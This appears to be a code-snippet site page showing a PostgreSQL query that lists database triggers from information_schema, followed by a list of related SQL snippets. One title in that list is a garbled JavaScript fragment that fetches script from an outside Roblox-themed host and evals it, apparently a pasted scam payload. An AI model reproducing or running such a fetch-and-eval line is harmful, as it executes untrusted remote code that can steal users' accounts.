Psql lst trigger

select event_object_schema as table_schema,
       event_object_table as table_name,
       trigger_schema,
       trigger_name,
       string_agg(event_manipulation, ',') as event,
       action_timing as activation,
       action_condition as condition,
       action_statement as definition
from information_schema.triggers
group by 1,2,3,4,6,7,8
order by table_schema,
         table_name;
Code has been copied

Source: dataedo.com

Similar codes

0 vote187 views1 answer
Mysql set boolean default value
SQL
0 vote172 views1 answer
Check if record exists mysql
SQL
10 votes147 views2 answers
Mysql select timestamp group by day
SQL
0 vote175 views1 answer
Starting mysql shell lampp ubuntu
SQL
1 vote184 views1 answer
Postgres concat_ws
SQL
1 vote178 views3 answers
Mysql disable foreign keys check
SQL
4 votes221 views1 answer
Rename stored procedure in sql server
SQL
3 votes285 views1 answer
Sql datetime as date
SQL
4 votes171 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
8 votes210 views3 answers
Find table for column name in sql
SQL